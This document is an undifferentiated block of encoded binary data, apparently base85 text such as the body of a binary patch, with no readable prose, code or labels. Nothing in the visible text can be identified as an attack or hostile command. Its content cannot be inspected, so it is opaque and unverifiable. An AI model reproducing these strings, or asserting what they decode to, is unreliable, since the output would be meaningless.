zYB8VAYW?WIdfREM&tI)j6>T~u;&Y`Hto}ugk>imm3i%QNogvigo0Rg1^#N_==%8Dl z_SH@HzdWp6waUq!eVV6u>v44;-r@1SOc8l)wc07QdY^EYzfPox*zuG5hf+zz>mEyS zaWwE1^3sPTo}Xgss((!__0xZLsww%H-e`Fg@hUm*?T@GN;Odla9M@_k&_um2p5%Am zwihe7Hy_|Hs#B+0LSEdt`dEyrR=w^y>6AOLkQMWsOgtfa9}05;#+B0E10);$JbN)5 z762VU0TBai+PfCj=YGMjOGO1`aJVR@T4lMzC55ZukI>T&{u!6Nn*5KIz3|(hkeNAs2V%yY9neX2a6pVRm5j& z-+BAP_mf4wyQUSs-o|On0 zPBD!W*v~tK+hX*7e(o>vVYZWH@W$AGLu>wj-9e?Qzi5H zclpR+m`o!nz7eNzEHEOK0vft zBvqngwjaol#suQBnA!{Jk~BosP=b6B3Fw=?Fb3SQn@?qBXIiLP{oCE`Z)GU@o3c`^ zV}NBM5gX(;z=p@;6EWx;L_S_6*FZnMAz37yzVf;<{bi;bYFgGY8|7DHZ?)OJ-2V-& zv&s~u-G!tgRX)+7(>tYz%i%g-Pc#}!=zBCy1IxKy5zEX+mJ9pE>zx1GX$W?@UN3Z> zt+IUmgn!Tl*ky9ev6*zRzjuiJ9sWa?FHAZCV2uvMz@!4J4xVo^1polLKV9WQzNdP( zon<6vnuyZfKq)QUwv4JAvMQ(m@IsVWgF?vzGbsy@j{HzjO$*I7IqnJUoP^z(6PNgeG}J(iiQwn11j4hV&Evzy#opZ}Qwr0Cvu%{((85%hz}e`C<9Bh;)kb`pL34`c->jDo=vVX%RoJOG?2qOL+KZr`u?;iNU&QHekgr4h(HzfD^nu>%N zICOfww_Iaof{b&s)03R21IK^&d=L?AEMKWw>iuv{K&XD4ApFtp`YiU3Sf!FR>OUZQNZ-ja39Sk{+V0Ez1K&eP?1@pcprrPxlj@(xU^bwh@D zsw5h#BiI8b_1({Q3MW~*v$@=SZZm5ukGJjWleTNY0V}_4ZzStbP0#z&(e)TD_AA{m zdZUBz2PI|y{4egyR2~UC>fKtMaJI?E^t`yTW+I7<<;~(aMZj&pRBnMY1$?^w*v{z| z17gM?+za`=P+Da`ZF_3c$V4`aS6>JCq;}l)_3y;?L!7$Mhnt4%3JbRkq16V47A2bU z3~W#;4$8zWJzTE%k53uo?{ux#=nu_Wt%vWbkdWMOZjRB!5+s`qm`zOfsrDQ=b@lGV zB;fMDR1eCv1cl)wsu-!onQG+PuQyRWh%qGbjAnEP%e}61sNOgA9e6)3993_AbC_jr zsoilaa4vNQQg~DOy%~d$xJ+uzSa{Gc7I(F0~To)7q5wm))PliL(#QTlp%j* zynhQvtEhrXl4Kcm#TZM7#ap#GFM+3V5NL{;%ZTC;m8B0F1vU=Mb9klZe!Z$6y+rr- z&Wy-YtD8D4$F}P&)Ivgyzv?P#q@O2@Hrs3wk^eSgnjf8*t1}yLf8)2=?sUUpF_@g9 zD*%N6KoM}h^02vrUbxLAf3N1rSa#~ZwIi_a{a}qYM-2*d|1Av1DA8aU8HUQ%e>RPV zT0C^3`1vsW2Wm+tIMoR~Ra?D47Mfj!QiLI8jK$BJIiEwRMTb4cQ*wp9mzqhh>GI*k zHRt%J{q{zs-o@5m>`BTo2f)c;oar}=! z3#T4LV^yO;`ei9<^EX=>^7&RitIKH90wJ>|i23cr6a`qqAj{*4R_qEP!eDoK8-zd( zI}@Fi;`s=p+^J1F+eiUho3~_fT_fv*&Qj4%tW_v^EV1G;GZi(o86F3?3HUTAgX7^* zxs4rG`O8u!QcGyMFv zl9GiYgKOIh9DNTDFLQi>qjb3hcE~(FkCw}%`}4In6oWK48mXzu!~9UZHcYUNt1 z@r;V_$OMXuw-*hsjN+SDkKz%?Jzn=^(zE(;1m8a1c+GBp_k@kCM5i*i-ON|Fv~4~# zM}2d62ljr<=61SLJOwjdXq}v#$m7zfmgQ}Cx!b8yJl~fK{-NOjeA!EHcG{FJWeTXH z)}NujIwnMGZQmT)h`)N7>yzI?fA{!4-}U`HHRZ;$>RC5Gfe-%m@p$xjWTI@)%`n(g zwOS!)ERw!;V+D&s{FbIhszxl#Rr9Sx{-7lV#phu52>TDu^h6WlSch7~qXvCCY_vj= ztLW883{Jx;GO%Ce9G;epJkdLPa{bxkz(LB8m!bjF;%QkJ0|YgPsVxC5#1^b2+rF`@ ziAb{Kqh$J-sYb(^ zoA^q-&O0-gJQ-~kC6wqwP79n;MKlbfCLJkhfzGP?7Xcjw&;HHdl*4<^gL zzRX3$p<(B|RhE@tGv>5NXA`;b_PCfUm0hmASnXDvX|c{JaUt32(|YAIbGQHgdaBnH z?ZTtP|J5kDN4nXmE)#Axd#^eaV30c7t4Xtkg&4zpaIKHUZ4WXz22jTnWF{sltMXMdicdzm zepul{n#N$)c6!{@neYs-1IkDXBs@|gdf%ObO@xJeCXV$Ak6RTR6ffp8?e%CmAI+^@JnqDX8JX z9HA6JqSO&*g$sB3yr|a$ZFUO`&X*B3d+hFK;<7E1(0A{ohB@F@Gr^R33g)r`FWV>j z;|e>fP&@zk2>gHM;BV{q`k;ftbP4iKc#!oES;p3%Y4+aUQG(A%@@cF*akBO#fYer_ z&rGG>%X8dJSy0d~elLH|MkdqG@OFSv9Ec$}oS6znMn)P#g9X`7mw%FX9JT@#TQ>-C z$KRHf%ProEW$^FRatJlygCtd3P8I$l&>pD?GIAEU(glNc@UDMh*6Yhd^|t*OJf<;( z4z%#`(GeCt{`Za9Rl_;aPfi+|lk0cb%*;&0>Mw%8G{&Z!Cm{QN2mLd;KR4_bICzh6 z_+nTJ(`pM)@N|u#D)egtIYes+h=|~RFpA`vZmyV3fEezBLek^?5N+~6sVMqcWDb(l zx&FtnTK}q1rAF71MMd-QGIEcbWJOJgkE7W!IQvkAiG#V-{>jPIg=(g*S`tLHTe1nQ zP<~RTOstiX?n3@&_=Lp(3cADG3=)!F3w|+EkSB!gUgstIBmvMH5TxY9R))fCP^nnl zslB5{BIuo>W$ChOYdP`*yOrU{+`sSn)=Q}n36&F2uhx2ZG@*%9eRyrYZwcU2Hs~$U z?QjkgNnPiXU4}!4UMXaE6&}3MeQMitkT9IL=DwzE;Jp0m>`}U&n4y)cgi_XnoqEa# z=J9i|cUvri`}y>Jq{M*3Xh{^n5yosvpz)nkR)=)ujIfQXMq=Qaxi%y0e;VE}^&iqU zKm3`U=o~wclMy4eByDGAMBl>pXm5woAsi$Z#r8<2lyL;PhR9?8!~GE&+CJNo;;Z`U z(tDnVXXtTreRF-Ud)MbjoH6C9rRC>cHLG*um0-ALYqr3;VjtK;#aC3h5)Dv-1UY2z zNhR(_&hyGL4Q`xv(MPqP(A)~OcY$E$RK8Y|A*5>RQqqreTz8O1PdE~%7ZPCUhj4Nx zB|7>lj=1-29>-!NfIMo+OvVJ97n$1dbB%K$jx9m!8Li=9*w@fd4Jtr5|IzP`MOlQ7 z^z3p`MgsRgkv)(K(b-s)urxVLi6g>&KsR7HP7rqPwA?DZyetM<_BLUS|MYN`i<2|7 zwW5516DFk{2ON8tgTD@}^i$M34!zy@uwtPxW60#DoD>FXE34XtCOsRnJOwO;UZ;{# zwoNAGnFao>r|*y|^%KofHi}~^;Z?bIedh;#$EvFx^iH4zT6PFj>d{k%^`0&{<*3ul z5!9kfm_`DDnQVywVL77df~%C&bhsjCMZHzMfRIi5zN3NHYj5Mr_n34><*j3=@KH(` z`QkyWsS0i$3||4jKrM88ug3c9NeOx79vzQOZo7W44PZlRYpKZ!O{4@146S;ePsxU@ z1i2{9O4Zi5RDA?~nhw}T&c>>_ofAq))>0c=>81p*P$2RwWn&twOd%MCu~%0@H+ih4 zq5)<|qpT?4vNM9@_Z~B4x>rZxiA_kNXftfXAuM9|F;T51rr;mfPJRjJ`Hc#;8SwdU ziR(gd+~VS&@zIBkL}OX(*(c4O9MFaujY^VCHF^(da|=TIxZ_XMjyDK>%v*j+a&uv0Gz^=x0|*`O z#>=mp|9uEgXA1eh^*AVba?#6(65`%KWo7eG`|Lyd-~@?*RDY7nGX*r5b5(0kTWdCF zE!UWTa_G>3)m$DtU2Vb4$VeL^`ak0ZYDlKvIxuVm?ews5!Mf=+tji&tu399=g`?oH zmz0)T4eUe5U^6-UMN)1ZADcgQIDQPW^u663^!ddu=-i4veO%qnfNA=eG-MIu!Y~rX zD6NYQbpyg@@6CcGXCZdRL@-Bgs0|2Nl`do_)((T^$_}uUPiFNG$CZQncsQ@S6`h9baz zQQm=SNEc~_WRv$70wZyXyaLP$iOte0Xl0_dUBtE3bp216< zn2YQ8P_v7b+x5WpJ*9Is_!32e1gjv^&U%u$vhyOXrO zpywh8@Pq?X@84-tLZd=U723BvcOkxRLbqY1J_o(d%W;}~TLua{c8y9h1#OV#F0oXt z4d#awmq#8Y{jD!XdTZM7is_Fi>@|rh#KatJCmwZC09FxvJn*}i52{}^${Q589gsGa zfPla($8%5=n?Ok#a3T^#1KXI*ns|$GOsos3T>P~pp)iRaYb$~-GMN$%BAGh(7dv); z6C&fcRkL3Oz1#QmS_b~uS){S8avHmEBx?xBgYaND*u4zb4YY6qVBI*m{Wfkql&Lta_G&w$W!3|`A#@Z zG(gmeMFM8vzd_x+< z(d*2xF~EZoY&4A=;Y>s=9nhjcu1NZ|wk)}C?sU)5rxEL6bE|#2M(zH7Y;0-=93W(I5pjF zj_&0quwMzsg{6_|-foH5n9}q1mSfP75<5#K5O2TKFSG@G_F}g=1HuNQu^6Zovsz5Y z7oP7=y6RAXc>Y-b{30pIVu?|na!4d1>4TAJR8w^UEA8lH zr;4N1;3jB?C0Q>~WzvU0JV941p~fI<)F7#@>s@v3D#?%sm;?AR&)$TRjI4L*t8cJ| z8le{pi2dw%^Jto;xM`}RdMtsh*s{&%yUX>Rcj#y=xV(3VVpEewSr~Psp15J}U_pXr zK@_fxnL$LS=_L}#0CEbeiAGj}pb(xSD7Y8W0+C9?NHGTR*F{wIlOQ52ss%U4LKi9B z0r?{cax}U@s|HZ37FwG(piPqMjcZWtDIzkGwK_b|Za!lPgwd^5i0>mElq75kTpij74evlj1 zBc+ROZV=S22WkzO%+ejIn3#ar!40cLqu7=Nl^H+@iVf}9hu2X#!znIRTLap=VoBc) zw!yGTR}MWtH7?%dh{rxY3iD^RcwsKxUSzLJUc}@GyKAEUc&kFo_F8Eb^{)scxi~?GEEj8~KIOImVFUsI>B*{_*QV>cqjlUF-YIwribrIS z3Sf0x6~b)?Zye40 zU_Mx0Ytpx%F=KI+@>tv2Mn!L6%_*5JgsyKJ z8NQRZ0@Aq|O(ez&4rDSHJzp`We%qGxU~UC>JL7UKEf0l89C61?(+TO6fyb%r;qNt%qYxK+32#{{pL$lyDh>_!9TvnUnS6=jNF+kKa z5vb4<2KWI|Y5SDn@?%!tIk1o**0#L{3cD9{-%sgx0~54Rbr0Q)J4Pu{podfqHf}sj zw<(3<{%hUW0`MJF6w&%x2tFxyWK{yzOxXNf4is-iRoN?60A|OSK5Lvx7H4I?4gK&- zK?w4ibMXUf&*)sf`SjaMwesiV{8*`s+E~OXwA+!q9Wj(J;;OjunIUetiNH+(j8g`W zE{HaSzDRHkXlBbgW}H9{dB$D@woq?71-;!bXXAt?){F>{zy&9`aV5V0IOta4dDfoE)-OThf)6cpYm_~n6_o0+f z;nF1|??xN!9Q#mfF|OxTE0<6?@g4mJXJQ;DP>|0p6fhMX}-yi+f8t3R&_u&-2my=e&c9k-UTNY0eBFzlRIMVKd zITGj)f_v}}dJNwMzD?;B@I;(@e18|@T`6`%%&Osc_80XWC+T^x_a3g=W# zhOGYhF^)v0tE+YezvfYx{8g-kv0%I)IG;FTf5SdJmnQ>2p;w10Hxx$d9ziIN+;&D{ zm{p7sG0yIh4k-=N5$-TxiC?!b8xw{nVs2Pf$TYf>H)V1zh^kfpp|mBy*gImC*Of%} zpc^27`P!^82X!>ys!MD&f*(k-7j1zs0dqDR92U8y4LR z%SKwVhVilo<)g&7A9;p5LOmAI{_!$Q8I^@$VY;O*X-(fx8s_fj3$Hc6D&3#|r1EufD-4KI zhLOFc=rJ6CvsKS0`@PTj;}eLAsHBL3-ERLzi=^5ca)^!a)LcY`MEYJBHNb#c`y@&{ zq~VLpg7(HnParPg5*m}9Mx6~YQ)9|5z7L%y+>%6rs$gF7qej4B#b9$969BI21hjEd_OJh>)k|6I3}fgOp4 zAzcUY7nl6qcP1hz41`Wz07@fce(d3Ug3}ihm%)FnOEu1V51 zs}oR};QHpuSaCMtSwE7r?hpo=0nyEyFv?3Hm{l-I(TUAxrP$7|dHnS!X&t{lJ{%}x zFs>w!>6in6z^PPv0F9SS1*@aMKu1^-qmpMm!gIW1jBhB_2t@rsp^GJt*-$(j5{`hP zM|MfK^Dnj0ZKa(c0;m`02q_v2q?V>){f3}fYw@qJ5Js(&^9eork{E&{WcFoaa5E2j zFeS_i`nod~D{S2>b9N#$2ri`O#w#x#tyL0@3gyunf*+jCD!7~T!r;e#1;*qj=8CqZ zD=e$7Ec)^Z0eg8`1+I~g!i2`7o^hgcuA(ou)0ME%Egsf_vzKlOGP-&3)EAT5e>D>6T*a4V)1rk2bd4*5@saCnv7KsTO*Kdsx9Mqys!n#N=K` zaQ`f=x+h{g)9N@nVw{3%R|TU)Bo$pEFwGjuk#^EF1MxR>I~7|Y!iWG*u+?&=c;YXU zW^p?M<;F`Xsy`So!a63YShIx2;7^FUA!&xc^J6=(aE6EI!j95H;g5oL+dVN6k+Job z@*w>r^qFY38o!|gSI>LaiL}$pyDB>>F?_?-(dJH;A7+#|bpr_cKdsdB+Q726| ziM=8FkV;?F((h1oTvg7;3Og`DF$N!tm||kFW+@+CVAxPSb1}X`39}n&xp9a>703G2 z+cx7W_@meq*n8&v*iw_IC-_KO)9mu>+<2p0@iHn$a;8%#>fnPkm$>}6a1LKdO#?*{ zX%I={XPSi!3qpQ*I4N>es}IdjOFsd79KMeB)%g_VbhRQ5x1ECUK=cDf5m$3J;AI9JNIuC#lnFt0tp+>gQWdH`FC|gc zB-JQI@jTSs_#e|&+5iP$NUEemga85uQWj}mlj-bG*t(Ai4B_B3zxlF8Gro}MT%HJ^ zecRPfI0 zR+RTP!wX!^Cn&i%nP=*i;2UbtYRFP6Q0~S9yQbH?zDe;A zZ>g}UEtdojS&2mer)$j9oH9l5Sc);)gIKeP4VcpfzXfu%U~il^h_GPuO|30mwVVSw zwf;-m`M*~U!cSE&Q04|^3kO{A@$vCjk*4(>6qnLm{E-c_CVkE=F;SEnpTGW$G*H7G z%`1|oJ^)>&y`}KLRXsR7Xib8+9CgAQ#`*_>WDgwb7u(Uas!w}ABEKSAM-Ae1-R!p-5YX1vGAaqT zyZWL;btIM?RIa|?CCa^#wZZPlmL~9{lIV>-P_hXr{FYFE2RW`10+j3cuEd-`Mjf^* zAC8yk-j&dvB`|0~%j5(Ii3*%ht70%^l9$ z%^NamkaZiP&>9m<#`4yJFSG$$>wQF9#HmSI-Y!YyP9IAvOAlqm|;cxh{@9IuR(aXtl@2b1V#DXe1ky z;u$RAgy?~J4W+snfv9`1gzNibfG`|Nt42oVO2!zQ%$031$~4#_PmLPbb3(m9Sy@h3 z%qSX*p{?z>4(ISZnkr+V_On}tSX3Ktod&B?&*!Nn2#7F}wd90GG~_mE_`czs7U~@w z4is%4bb`b~NJXznH%6Z_lb%ER7nTO^Jm!mX!#p@%CRF?VSb;sR;lGoo<;%X-REYiw zAq2a?gtnHJx2J;y?K%Uh==aqxEmKCV(5>N89FK@BW`M3Op@j{*l`L5`gD7%#UvkAM zQi35doru{Jqpw8mRd9ii; z=$|0JmeaUz!4Ld=Q%*Bm7Eu<5J0*1#6OxQYWIuKuTja(m;m}=EIyi+gY*Z-y<`bbQ z>BB#=%F}>7)I`a#iD<_+S_olSs;wZmL9wzEZ+6ijxG{li#|3sF3~4z3xl&pZOs;E; zn83sZ^XvuZQc~0ewW&7rgSZs279UN$8K9CKWx0xhY;okA$I^k}&A0?Mh~K#*(UCZmowYDj1i$1Mui)hkp%%|o#v z$;$o}$p@FoAx&v?h#)K*+yBOuTV_VqE)~X{SUKP{RVogH?A*>epjZ}f!gzwfoCPkR zSzbl1W=8*3Ngt?D3#JwJwgJwVrs?FTy6yiH124N)Zy?t+u!#uP6)GBF@{JoYrs0Qy zEvp9q{MU{soFuj6f?EN!t+5i0pebS|w(Zz;`snrGXR1Jr2g|QtR|X5K%Db+{j@-tm zjQHzWv+bh@`9P5wqk5urNQl;;QrBLdw?nc%Y#toVAZcrx|RY;9+EPo}_B^1!eH%11pia2{^X6^Tf~ z7ex(`{-`cs=)%WiRK&RbWCnr5{cOh-T5oCVL5JhNq$6@1eKA3G&;lFxeG2_kT7gE4A*IWhHdE1SE{Za!FOoCpLfmy3zG#p$E2Ro~ z0t*6x_P1o!E)G4J6bJayeYo{E6bDe4#l ztt4=!#nI?=i>_f)u(Y2;q>L94hKvaUEaH|cu=cEO2+!I)s=X4eUWXh-=RR4%4x(*l zbIGb@LzHFl2tG4IayeO!DBAjjt=CB)v!Y!Y;wEpICDG>+sacjZ`C&I%E~`eOerx55 zsf|4MeIpH+AL@y(GaWxlw&&l-F|yy!agxEkq5*a+fBS#4Zl;6R;Ps=&BNCM6U) zjNFM1Ah>dL@7OhX_`SyS!n_wAZ?a*cT`fhOOlP(q)ILRx+BCc}cWYNT!&xmHEM8e- zoF0D9W28!lB;TSq*d{|PG%DNTXh&_51h-lSR*pPo3O%Yao)02qT02%+!q(BGH2J?iZbCMwK6-ppkfzw!8L<`Z8nBGr60Anhm$a*zqKKTnI+l%E z6kTfs16M{)cgS+24lCQlVhNoW>fTv0|`cS2MEJRJ(5yM6T!9l#V&Zy^!%$ zIrzJ zZ%ERlMq)aIV{D@w@X?370)tND#g+Xoi~}2v!GzB9DYfvCi0oR35mrMMzw-wm$Q4a^#(&^v~+=*KGfN_uy*DxK8F&DCb>q`y1j^?c^j z5XIr@fihyH>QWp#<>YV}=X0E>X1SPjF3|r_?TXRqZ#9Cj0|>57WMWS|+mO8A~T5*xPqygAy( zW&c0GS@=KToEo;}7+$wxK9iFfHe0gj@*IFRXC+*t_Dia%jw%Y`e!HNzmw01+YfD!v zJtQ6np>{Hz1!XUPMU#Q}X0t@}JDGlKe&StK+9Jz=6CBTOPN^!qkI@f9GRxG5VaYE# zhgn_|b-Zd(5pGLFx+Hva!_r?_m5FSu1&#TtJ%wOrl4BED)Tq!!E=5&oy44855}wQ| zS$hFCKr@wXmEhi-h?y$y%Gp&Fpl208y?HQcJOBg6K{H%C|4=MOgMOFL(u`73+dr8 zU)c0a2wyTacoc_gr8;tEjGRX9ronRmM9rdkTai87DQX()>hhAXC*|1+Rv@bJxUQAPy~HI_Xp{y7n!heFXsx zj6ggaJ!2aeH)kl?%Ju;!><;Sc&l3xR%RUpZ_seZ$#Ojd!CAN>216JcROG=C$aTshR zsQm!sSX%V2Q2||5>5CSjlV9yn{1DaL1**wt-#bKA(kK(*rsma$_Jh{dIfn*;^9mNR z<(xW@*i@CLUK;#ix-@2u6hJ+!)Kw!1!>rKh0*MC(%JW1SDUhXdb|6I$Hn^*a^KF;h zMa#$8atP#A0N*5ZOsWSHm$% zwyiejAe{7}iCmOwpI`=sH%typHoG+ONh62MUv;R7d~#(3_MJyR$U=nPZ{zSd%II_G zk9lNv2a9M@elBW%_5}SuX8>3A`lrT!nu3qvq9WU^Hmf87Z)}YQ+uAg(Cjm(P=R7u`0NV^EE-e|_|*_FEMym%SSqwi3%Is@)@26w3IZK# zF)Y&NbDq#rB2UeY!eA7%4ztY0cnvMPWd|I@2}43q58k`ASqbu+6nKrhVQaIg&(XqD z9drZV->=l>e&>4nR_Hyjv=Zz_F*B#+wmin4P0q;5YTx2^CD1$&(ZKg)iz4iPj+pBp zeqP6*2!Gy&{QOyjvqVK*ThgqNd|5RfRb|qr@%KIjxHKrdYsO;ek{ndykA_9FxfGjWM>cUFYxJcPtkd88~xq73+@)@ax9?MJ2|LV!k3j>3A3Fz2=`~TJ)6mU=Dpy`&%<@dL7v?sD6*G4)9comzd!O z>k`g{0ZJ6b(AY+-gIW(E~C@`8F>_S2?@v zmdN61Cb|kp>V=)P3{$}c83mWe3+7R?-@SE848=iU=fMB?Rt^=>I7S9!egSZEiGlvR@DecpAL?U6)o#$Hq9l!lXJmSczw z0?{L%?l^Q^`L|v3iSOyWER84k4}wxBfaz&vWa8m9+>Xo4Ow)^HirK72gGG`t=#kWF zI;c6urJjnH+VoUQQ!LhR9r|-CD=>a6STQn0vRuOzxaR!GInqV0Q6Wu(FvfQD6>-v^ zXn_w1RZ#C{%KVs_i|&JRWjwKFUAX5&TDR080uA{+2wF>(l{S{^wg+)9|Ex2(y(Y%; z{bJ6z%E$|$Pt-L>B}(9P#_m{IVc8cE$lXQw)jj!ol8$)U==VWIVglv#iMlH3Lkvce z+BK@>d2ZyrZ^y(_7V8`hXolAlN6td|vrXEcUw-TQ4F|;js_4;o-=R0L8fFtiGtwAY zhD(Apti0x!(et?hX{!{?A36~wdC()qO9@T*QV{T=R=@U`$V@lZ)_iZ)8nbOX2g+}{ zegE!7h$Yd!4$fY$8V_t(gj^QmR+;ryz9Y(>b5p8ccE7LuGw>L&YukA^iO}agN>Q5;bZ+Cf z?>-;xB3@D|K2(e#ao_!A^4R&e=>E6&=VI_7=c?;pBUqxw6ZiDE&cob<@}i$zbfg&3 zOL(DR;&QHOx|v9xX7|M+M4fi3N2(e&hh~+D!Dti<873pVP<>U)=$T=V(>%id zDA-QqS%~rUm2e*=n`fy-{x7QD`mf11{uftKKoKcP34>5lN*V-I8U&;pq+`_RP$Wc3 zx$`FT#F}&L6GTud%C@w--~@pE725Dv>&G z!IjHMd5)LXVphsRUvb@`sejB}a9C6?9!EG||5)Vk>R45e(Q#WnAx2&ze_1{3M<2J( zuS#C^-`Fo`x2;`+EcRL5AGs?Nq4FO}lV#6kh5FOTIq}$PlFu=mfrG~ULE}dftq~Dg+&HvQJ+ot>5T?J;}t@AEe zUQy9@2}@V-)_16B(Eh;ogEt3;%dChs&(U=_qu&%R6VR$7&7ztvuzwD9!EFJkR4kHC zj8mCA)y1~A#1hD=RMba);NZwLktKFI-UT+~rh#sd z&*s&1r&Z+-yq&C0oO9nb3@ZLXG*c!`SEhRf&wBBdZ64aEky1tmy+W~89H(w?{8XQL zKlpm`^x&BhzGkvUHqfY8J;(i4eiN@v8nf1|YnAJGPIrk%9_M)nwDX>O-m5uk(`lu{ z=C0S=dB+IGg+Hr=;r9c)Edm6-IylvkcB!XRHVm6DXL@T8931~)$=)SKsyJIfYdzlD zDaYaWMg8%<>e=7DCx<>N)?e^Jhd7+!Oc_Niq`*7(2iam*S*m&^65u5m2Tbdvfq+lf=KX&j{JduW^$JB=m1r$45f zp-sK_cVlGU)0j>;W{4XHXpP1Av;g6^i2I)ztjnT;A-0=OfJ7)P$G}({sWIrDVA|WV^k_$VJZ(Zap-S zto?Kl&g_3-QD89ADN3z*P+|%ZR2RR>vTABS8R0?&?406*2{xyAh_V7lrsFg&{wO|s zRf1K6M6dbwG4Do8;yN{o2V1Kjfb8cU>>{L`l0DQV*DF|d23BH}5aQBWp5|L7R0_^9 z%$&B4J8jh<`MpLWwR}Zy&YgRciiK_F3x%&N(?3%r>AZDK&Ow2%{tdBoc#PQ7hUZnq zK9V2&)5l*9F%Yah7nLu1%klc7zF}=SDL_w~9eST2q$d3H>lGwFL}EXQ3Su1i2X(v_ zcty%2aM7?C=W`sEng)H!nPx-kv1@lGEIG8v+VJ)ndmc zC*>aMfq}jE4?XRXYp0Wt80HR#+$ETrCg&S@KpBCy&t$fD;Q2J{XChy5OgrMNJ;FtN zch!4M3^6y2MbuALrRI3vr7a9}&24lZ6x+E!Si#HpH^A~9 zDMtN?Hr>l-OAeDdoGLS_!(H`o(EoGq8H{uO$2c8odQav^;dP?6lQ|~5sga~bx6{Yz zLO$%W6;vFiGA}itN5+2)_ph` z?C9SOX0)dx^wiA%GFe3C;$D6$>wwbn3sV)!pPQOx%r?qOEXhBTUWQ9Vm(HbtPASSa z^<`o*LyhR<47#6&&-M7wc=VcEJ21Tx`WC6f==Xppl((f9K5dnps4h9d7S@jJaPH}4 zvv|C2euv+Un`*H}i{r2kLLKR$!d8oZbOw0TU6-NFTB~U4ur4;;(_Ke>m-{}k+9w^R zLkWwrIYv=V?)Et)RZgi;@XD8AMZ898=N2Oxs=)+O};YU%CTb2CWBBXe;;To3D7ul+S1fL?cj3Vh?kP61qCKwxttohw+ zW1W_qx9DHNvbb6NeGpG7W~989uM^W%65FIBVSwuvB0_O|+3?OEdXnA&&fIebca*b; zr-``r*`+Pd>jbuVN>cQIrI>=0>*&KUQp0LmVm_|#&~F9zDK};BBp$jKCH^*mJg1)z zB?79c7|M5nCvEy5e(SZ4gKNRq(osN4?LWeS$mRSxGnRh#7wP?J0%Gw8A2@qWWKz}I zwhMHoxGeEh1oD%`#`2Z-TLK^{uqO5)hiwkvy#Dw}u@@Cvk8haU zOS+F1f|aSe4ueq2?cKJ$w{%k=tXWR`G5&I11;SsArbe*3_KdT=aC>%8-HzH}YFfVD zV^SE)5-5vde{1Z@725dSCHqJ7T|gY>an(~x_qTrAFH@GNzHbu6N2ifswV%g*dE=_i z`j9D>c>&~T$ECgAnvwJvLkMagr?O(c#;qzSFnfO$13pE+wdZYoaKDt6%K`9(qJ&@c zew@33>WQqps{V8uL7YU;)^NOxTKZKp#B4b*B1Vtf%zcN2Prs#7(Z@uQARFa1P8}@n z9zhBMZz0?!V*!FLQ&y`AL(%((yb}A11=8sqf2xg8a6r3D)jT#1?{tZiz7Eh#G6Eiz z$I1Ah5h(VX{oab=aZ|*(ku#!?taa38#dVxISM?ICQ+wzI#neSjTplDVfZDEqJt#8Y zYwH7a0?#BsT>;n_5q8ce7D-|&y$yd}qQso@bY&;y$riB-DzUAH=THS0_CQmC3Aq2) zKim8KuSUmJHM=x~w~|sxRWmWi@$s|3CEto&nq1$F;PDL5OD(b=1xGJ5AC5jRrk8U@ zKQFtSuaEj4JZh!oe{2&oyX~9M*%FP(p*)fQz!bnX&> zPTuXha2F6#c1fzfv-%!PsA6`*%}D^yRE4QV@17vQtDe0B)wuZc15 znC2>6MjH57Zbt=4^cu8EUL@O3DCSxncHIXrmwf+jt_uG%;h6Z5lRTgDjdA=lwa;>p zfAxOI6H6^Gsr5o)nRQGM`=1|aLrCL*ojjH08g@H}F?1Qwcl(b#1W&3`V z2(-|7AAyWPY-&jRt#5lnwe=_Lw}A1i}|)ZL|u$$M=OK`{on9elSb7z{2|147H_)789%w1HdhMxbV9qw*bb)=Cw>0K^7Tm3GxkV9r^80CW%pUkS}+%^0Ga`> z+-DHG90hekMjSFungkw_dO__gCOITA=#pSgW!ufFw^#BKm7oc*>hhp@XlEWT&cB#RDlvGkCN zi$gs2(;O{45$E1!(OrV-nitx^>Jzki;+l;W!?TQmH{ncZ5VqWls?yYMT5OT0YvPSl3ly)*5*SDJ+3^w=W zw=td6(S=%}emr=%U|{txsQromX5%j2YvBTHpCbwOJ%;XkJPiX9jz;*mUafj9g8?c> zI4D3pQ<{MKxJ7~UPD)uy)^J_@F`0tTzo(LuTw!?v#bvF>2>jW#f-sRmy+P@Mw&8Q% z9~jbJP&z^^-h>K67;DZ6`wslievu6Lngt(kM^NeYTSvZk?_SB;-CfYPiUC6Cm#Z92 zwDjKrmz$|%aFzPR@s=qk`CsG-N!Q#H*E{{sGlXq%ae^g)Hr$lGHhb3%4#sM+eC&Bp z-(Y=(`WmBmH`3mqJ1j7->#$#Ym@0*d;U*W z4IT89hGybsf3~YrCUB=iR|{f0e;0e$SdStiAgZdz{yek|!cO#ivwxdiU&%a5rIo%p zsnFj_dS6r?z}pP}>FnoOb-OW32EMs6GO$^xAk)bJ*oz;}Z5F)ty^7pz+gbGoT+a4m z);i9wpn6G#HWR->L3K!)xE1fAUm&ygqcJMl4~2*Z?x>SyQ*U&TQMG%on?e_Qd}AJB zxEn*u>~pd1uVChHWJG^$l(>89kL-{f8vpoe(x~C3p%pY6(7NA71QLap4Gr=NSD$6T z{h#F&WQ(@|Zv>%G4b6*T<4;FMb zP<_Vzt%xpW-R1$w2IP+JjuWnm@6rFD!EQVMgEeX!*Zv)hkB{S%57NYeoFnwN+Jw67 z896s{<-o_J$|Y9e%p8o=+N!@A6YfK8D#n{(E~9!m!6yJJ8CNMYho8ImzTlZzA;I2{ zZ=%CCW&fEvk%-VsJKf44gq#mV_&Sdqo+=--2w3x>BDS)`lY(>G1qfzSzDL>FMx z3~8mW_F7Q3WAT;N!@q@Nr9JuRd4jj5BZ?M@H#(V-X5S3c>?knjIVVK}$Uo zsmWWwM4>$_@+t)#Q3V;>Dg=PjIxB^h!*bzm`|Qs&TM=0M*%WS`h532srei-hx|_Ei z>fl;%kw0x*{XR_9R0wd_du6zEm<}o0|JpEqX3`mRLXPx2YBFwn1?hh!k3?RqfWs-aGQmo% zUm$amPOFUsUEm_4ThaxS(ULHL%O_u+S1beQOwm2x!Z>|+T?$n9wF^>wovgYyHhkj5>kNu z6O$Xf5#O~Id>rV#D#>@2b;TUP*aFjxVA0G4VeOGwI^orZhTyY!34s5>@$u-Z>|X)R zYXrAK4s+pf(rg)k?i+_^i(P>3;U8quJ{b8;^LS+2cr2m?PP|8+3zbiZO}^|y+P!Cu8o{S(*6#D zuW!Q$16ZhrXZiDOLDdjbpi=5iTVkxZ-|>t!zelL65+mhCQERn7s(mt@gGDJc-AwiB zY;TE<2HCcM6~V$pr8QlALK?%v!H9>`h?t1s=D3yC8!To@pbe7)W%fl(vvFA>w;(2f zMFZQM+G#&Hw_%;oOoQ`M0+7(FeX}WZC^{JY+it-AWoLgwR=`*uZ8mr`msb)V))nyk 